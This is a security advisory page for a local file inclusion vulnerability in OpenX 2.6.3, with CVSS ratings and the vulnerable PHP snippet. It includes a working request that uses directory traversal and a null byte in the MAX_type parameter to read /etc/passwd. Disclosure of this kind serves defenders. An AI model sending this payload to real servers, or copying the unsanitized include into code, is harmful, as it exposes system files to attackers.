OpenX 2.6.3 (MAX_type) Local File Inclusion Vulnerability

2009.01.31
Credit: Charlie
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<snip> include_once '../../init-delivery.php'; $MAX_PLUGINS_AD_PLUGIN_NAME = 'MAX_type'; if(!isset($_GET[$MAX_PLUGINS_AD_PLUGIN_NAME])) { echo $MAX_PLUGINS_AD_PLUGIN_NAME . ' is not specified'; exit(1); } $tagName = $_GET[$MAX_PLUGINS_AD_PLUGIN_NAME]; $tagFileName = MAX_PATH . '/plugins/invocationTags/'.$tagName.'/'.$tagName.'.delivery.php'; if(!file_exists($tagFileName)) { echo 'Invocation plugin delivery file "' . $tagFileName . '" doesn\'t exists'; exit(1); } include $tagFileName; </snip> If a null byte is appended to the end of a string, and directory traversal is used in the GET parameter MAX_type, like so: /www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00, you will see the /etc/passwd file before you ;) -Charlie [Elites0ft.com]

References:

http://www.securityfocus.com/bid/33458
http://www.milw0rm.com/exploits/7883


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top